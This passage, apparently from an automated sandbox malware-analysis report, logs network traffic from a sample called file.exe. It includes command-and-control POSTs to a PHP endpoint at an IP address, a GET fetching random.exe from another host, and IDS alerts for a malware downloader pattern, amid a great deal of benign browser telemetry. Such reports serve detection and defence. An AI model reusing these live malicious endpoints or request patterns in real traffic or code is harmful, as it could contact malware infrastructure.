name="token"0a34c0a4f46b4f0194f825dad8435814d62c9a14301abeca458b88532a4d6fcf63a8081a------BKFBAKFCBFHIJJJJDBFCContent-Disposition: form-data; name="message"wkkjqaiaxkhb------BKFBAKFCBFHIJJJJDBFC--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 33 32 42 37 36 42 37 35 42 38 32 44 31 32 46 43 41 37 41 42 46 33 37 41 46 37 34 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B32B76B75B82D12FCA7ABF37AF74FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: GET /files/random.exe HTTP/1.1Host: 31.41.244.11

Source: Joe Sandbox View	IP Address: 185.215.113.43 185.215.113.43
Source: Joe Sandbox View	IP Address: 13.107.246.40 13.107.246.40
Source: Joe Sandbox View	IP Address: 13.107.246.40 13.107.246.40

Source: Joe Sandbox View

ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: Joe Sandbox View

JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4

Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.8:49704 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.8:49747 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.8:49829 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.8:49940 -> 31.41.244.11:80

Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 23.206.229.226
Source: unknown	TCP traffic detected without corresponding DNS query: 23.206.229.226
Source: unknown	TCP traffic detected without corresponding DNS query: 52.182.143.211
Source: unknown	TCP traffic detected without corresponding DNS query: 23.206.229.226
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 23.206.229.226
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 23.206.229.226
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CB6CC60 PR_Recv,

0_2_6CB6CC60

Source: global traffic	HTTP traffic detected: GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CIW2yQEIorbJAQipncoBCOj/ygEIkqHLAQiFoM0BCNy9zQEIkMrNAQi5ys0BCIrTzQEIx9TNAQih1s0BCKjYzQEI+cDUFRjBy8wBGLrSzQEYxdjNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/ddljson?async=ntp:2 HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CIW2yQEIorbJAQipncoBCOj/ygEIkqHLAQiFoM0BCNy9zQEIkMrNAQi5ys0BCIrTzQEIx9TNAQih1s0BCKjYzQEI+cDUFRjBy8wBGLrSzQEYxdjNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_promos HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=52sUK2MZueOEy4P&MD=OuhoZaBu HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /work/api/v2/tenant/my/settingswithflights?&clienttype=edge-omnibox HTTP/1.1Host: business.bing.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /api/v1/user/token/microsoftgraph?&clienttype=edge-omnibox HTTP/1.1Host: business.bing.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /edgeoffer/pb/experiments?appId=edge-extensions&country=CH HTTP/1.1Host: api.edgeoffer.microsoft.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /crx/blobs/AW50ZFsLPhJJyx_4ShcDOgcEpJeOc7Vr0kMzfFRoaMfWx4pAgZ0UGF2i9_ei1A7FAHQ-EPFULeBn7F8_SEKhjbpEyKfiidX7GF_6BDOycMeg5w03wjwVQ61hkaEix8WFqmEAxlKa5cmz_tdFr9JtRwdqRu82wmLe2Ghe/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_84_1_0.crx HTTP/1.1Host: clients2.googleusercontent.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Shoreline HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveEdge-Asset-Group: ShorelineSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveEdge-Asset-Group: EntityExtractionDomainsConfigSec-Mesh-Client-Edge-Version: 117.0.2045.47Sec-Mesh-Client-Edge-Channel: stableSec-Mesh-Client-OS: WindowsSec-Mesh-Client-OS-Version: 10.0.19045Sec-Mesh-Client-Arch: x86_64Sec-Mesh-Client-WebView: 0Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /b?rn=1732604626696&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=2A1C8E46DA6B6D3B073F9B05DB6A6C89&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_M365_light.png/1.7.32/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enableNavPreload=true&enableFallbackVerticalsFeed=true&noCacheLayoutTemplates=true&cacheSSRBasePageResponse=true&enableStaticAdsRouting=true HTTP/1.1Host: ntp.msn.comConnection: keep-aliveCache-Control: max-age=0Accept: /Service-Worker: scriptUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-edge-ntp: {"back_block":0,"bg_cur":{"configIndex":48,"provider":"CMSImage","userSelected":false},"bg_img_typ":"bing","exp":["msQuickLinksDefaultOneRow","msShoppingWebAssistOnNtp","msShoppingHistogramsOnNtp","msEnableWinHPNewTabBackButtonFocusAndClose","msCustomMaxQuickLinks","msMaxQuickLinksAt20","msAllowThemeInstallationFromChromeStore","msEdgeSplitWindowPrivateTarget","msEdgeSplitWindowLinkMode"],"feed":0,"feed_dis":"onscroll","layout":1,"quick_links_opt":1,"sel_feed_piv":"myFeed","show_greet":true,"vt_opened":false}Sec-Fetch-Site: same-originSec-Fetch-Mode: same-originSec-Fetch-Dest: serviceworkerReferer: https://ntp.msn.com/edge/ntp?locale=en-GB&title=New%20tab&dsp=1&sp=Bing&isFREModalBackground=1&startpage=1&PC=U531Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: _C_Auth=; pglt-edgeChromium-dhp=547; sptmarket=en-GB\|\|us\|en-us\|en-us\|en\|\|cf=8\|RefA=82053BAEE49F42369B25652140A192D8.RefC=2024-11-26T07:03:36Z; USRLOC=; MUID=2A1C8E46DA6B6D3B073F9B05DB6A6C89; MUIDB=2A1C8E46DA6B6D3B073F9B05DB6A6C89; _EDGE_S=F=1&SID=266A8DFD2704619D19DF98BE2605600F; _EDGE_V=1; MicrosoftApplicationsTelemetryDeviceId=9d88a01c-c379-431c-9873-4ea0c715db40; ai_session=U/IyNk/vcXnH3Fet2HiDGA\|1732604626687\|1732604626687; sptmarket_restored=en-GB\|\|us\|en-us\|en-us\|en\|\|cf=8\|RefA=82053BAEE49F42369B25652140A192D8.RefC=2024-11-26T07:03:36Z
Source: global traffic	HTTP traffic detected: GET /edge/ntp?locale=en-GB&title=New+tab&enableForceCache=true HTTP/1.1Host: ntp.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-viewport-height: 876sec-ch-ua-arch: "x86"sec-ch-viewport-width: 1232sec-ch-ua-platform-version: "10.0.0"downlink: 1.3sec-ch-ua-bitness: "64"sec-ch-ua-full-version-list: "Microsoft Edge";v="117.0.2045.47", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132"sec-ch-ua-model: ""sec-ch-prefers-color-scheme: lightsec-ch-ua-platform: "Windows"device-memory: 8rtt: 700sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-full-version: "117.0.2045.47"sec-ch-dpr: 1ect: 3gAccept: /sec-edge-ntp: {"back_block":0,"bg_cur":{},"bg_img_typ":"bing","exp":["msQuickLinksDefaultOneRow","msShoppingWebAssistOnNtp","msShoppingHistogramsOnNtp","msEnableWinHPNewTabBackButtonFocusAndClose","msCustomMaxQuickLinks","msMaxQuickLinksAt20","msAllowThemeInstallationFromChromeStore","msEdgeSplitWindowPrivateTarget","msEdgeSplitWindowLinkMode"],"feed":0,"feed_dis":"onscroll","layout":1,"quick_links_opt":1,"sel_feed_piv":"","show_greet":true,"vt_opened":false}Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/edge/ntp?locale=en-GB&title=New%20tab&dsp=1&sp=Bing&isFREModalBackground=1&startpage=1&PC=U531Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: _C_Auth=; pglt-edgeChromium-dhp=547; sptmarket=en-GB\|\|us\|en-us\|en-us\|en\|\|cf=8\|RefA=82053BAEE49F42369B25652140A192D8.RefC=2024-11-26T07:03:36Z; USRLOC=; MUID=2A1C8E46DA6B6D3B073F9B05DB6A6C89; MUIDB=2A1C8E46DA6B6D3B073F9B05DB6A6C89; _EDGE_S=F=1&SID=266A8DFD2704619D19DF98BE2605600F; _EDGE_V=1; MicrosoftApplicationsTelemetryDeviceId=9d88a01c-c379-431c-9873-4ea0c715db40; ai_session=U/IyNk/vcXnH3Fet2HiDGA\|1732604626687\|1732604626687; sptmarket_restored=en-GB\|\|us\|en-us\|en-us\|en\|\|cf=8\|RefA=82053BAEE49F42369B25652140A192D8.RefC=2024-11-26T07:03:36Z
Source: global traffic	HTTP traffic detected: GET /v4/api/selection?nct=1&fmt=json&nocookie=0&locale=en-us&country=US&muid=2A1C8E46DA6B6D3B073F9B05DB6A6C89&ACHANNEL=4&ABUILD=117.0.5938.132&clr=esdk&edgeid=-5438092865908489856&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&ISSIGNEDIN=0&MSN_CANVAS=2&ISMOBILE=0&BROWSER=6&placement=88000308\|10837393&bcnt=1\|1&asid=cf1d548f0d994800b75454b3836c7a35 HTTP/1.1Host: arc.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: _C_ETH=1; USRLOC=; MUID=2A1C8E46DA6B6D3B073F9B05DB6A6C89; _EDGE_S=F=1&SID=266A8DFD2704619D19DF98BE2605600F; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA13Q6AL.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAc9vHK.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1lFz6G.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1hk7Sh.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1u24yb.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /b2?rn=1732604626696&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=2A1C8E46DA6B6D3B073F9B05DB6A6C89&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: UID=18Ac1114aa6e81aa7f6a2771732604627; XID=18Ac1114aa6e81aa7f6a2771732604627
